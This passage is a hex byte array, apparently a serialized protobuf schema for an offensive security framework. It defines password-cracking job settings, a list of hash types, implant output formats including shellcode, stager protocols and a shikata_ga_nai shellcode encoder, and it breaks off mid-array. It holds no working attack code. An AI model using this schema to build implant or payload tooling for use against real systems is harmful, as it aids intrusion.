0x65, 0x52, 0x75, 0x6c, 0x65, - 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, 0x6e, - 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, 0x26, - 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, - 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, - 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, - 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, - 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, 0x26, - 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, - 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, - 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, - 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, - 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, 0x1a, - 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, - 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, - 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, - 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, - 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, 0x0c, - 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, - 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, - 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, - 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, - 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, - 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x6a, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, - 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, - 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, 0x69, - 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x18, - 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x42, - 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, - 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, 0x61, - 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, - 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x42, - 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, - 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, - 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, 0x8d, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, - 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, - 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, - 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, - 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, - 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, - 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, - 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x43, 0x75, 0x72, 0x72, - 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x12, 0x22, 0x0a, 0x0c, - 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, - 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x0e, - 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, - 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, - 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, - 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, - 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, - 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a, 0x04, 0x54, - 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, - 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73, 0x43, 0x6f, - 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, - 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, - 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, - 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30, 0x0a, 0x06, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, - 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x22, 0x64, - 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, - 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, - 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, - 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, - 0x44, 0x61, 0x74, 0x61, 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, - 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, - 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, - 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, - 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, 0x49, 0x52, 0x44, 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, 0x10, - 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, - 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, - 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, - 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, - 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, - 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, - 0x30, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, 0x04, 0x4e, 0x4f, 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, 0x0a, - 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, 0x10, - 0x01, 0x2a, 0x98, 0x13, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, - 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, 0x84, - 0x07, 0x12, 0x08, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, 0x53, - 0x48, 0x41, 0x32, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, - 0x41, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, - 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, - 0x5f, 0x35, 0x31, 0x32, 0x10, 0xa4, 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, - 0x32, 0x32, 0x34, 0x10, 0x94, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, - 0x32, 0x35, 0x36, 0x10, 0xf8, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, - 0x33, 0x38, 0x34, 0x10, 0xdc, 0x88, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, - 0x35, 0x31, 0x32, 0x10, 0xc0, 0x89, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, 0x4d, - 0x44, 0x5f, 0x31, 0x36, 0x30, 0x10, 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, 0x4b, - 0x45, 0x32, 0x42, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, - 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, - 0x32, 0x35, 0x36, 0x10, 0xb4, 0x5b, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, - 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, - 0x98, 0x5c, 0x12, 0x14, 0x0a, 0x0f, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, 0x5f, - 0x31, 0x31, 0x5f, 0x39, 0x34, 0x10, 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, 0x10, - 0xf2, 0x84, 0x01, 0x12, 0x0d, 0x0a, 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, 0x10, - 0xec, 0x27, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, 0x34, - 0x10, 0xa4, 0x8a, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, - 0x35, 0x36, 0x10, 0x88, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, - 0x5f, 0x33, 0x38, 0x34, 0x10, 0xec, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, - 0x41, 0x4b, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, 0x48, - 0x49, 0x52, 0x4c, 0x50, 0x4f, 0x4f, 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x49, - 0x50, 0x48, 0x41, 0x53, 0x48, 0x10, 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, - 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, 0x41, - 0x31, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, 0x0e, - 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xbe, - 0x0b, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, 0x31, - 0x36, 0x4c, 0x45, 0x10, 0xf6, 0x54, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, - 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, 0x42, - 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, - 0x4c, 0x54, 0x10, 0xe2, 0x04, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, - 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, 0x12, - 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x0a, - 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, - 0x14, 0x12, 0x15, 0x0a, 0x10, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, - 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, 0x5f, - 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, 0x0a, - 0x0a, 0x05, 0x43, 0x52, 0x43, 0x33, 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, 0x52, - 0x43, 0x33, 0x32, 0x43, 0x10, 0xfc, 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, 0x36, - 0x34, 0x4a, 0x6f, 0x6e, 0x65, 0x73, 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, 0x41, - 0x56, 0x41, 0x5f, 0x4f, 0x42, 0x4a, 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, 0x0a, - 0x06, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, 0x4d, - 0x55, 0x52, 0x4d, 0x55, 0x52, 0x33, 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, 0x48, - 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x45, - 0x53, 0x10, 0xb0, 0x6d, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, 0x5f, - 0x45, 0x43, 0x42, 0x10, 0xa1, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, - 0x39, 0x32, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, - 0x53, 0x5f, 0x32, 0x35, 0x36, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, 0x0a, - 0x0a, 0x43, 0x48, 0x41, 0x5f, 0x43, 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, 0x1f, - 0x0a, 0x1a, 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, 0x43, - 0x52, 0x59, 0x50, 0x54, 0x4f, 0x5f, 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, 0x12, - 0x0c, 0x0a, 0x07, 0x53, 0x4b, 0x49, 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, 0x0a, - 0x0f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, - 0x10, 0xfc, 0x5c, 0x12, 0x15, 0x0a, 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, - 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, - 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, - 0x10, 0x94, 0x55, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, - 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, 0x06, - 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, 0x50, - 0x41, 0x53, 0x53, 0x10, 0x90, 0x03, 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, 0x53, - 0x5f, 0x50, 0x4c, 0x55, 0x53, 0x10, 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, 0x5f, - 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, 0x45, - 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb4, 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, 0x53, - 0x48, 0x41, 0x31, 0x10, 0x98, 0x2a, 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, - 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, 0xc4, - 0x01, 0x12, 0x22, 0x0a, 0x1c, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 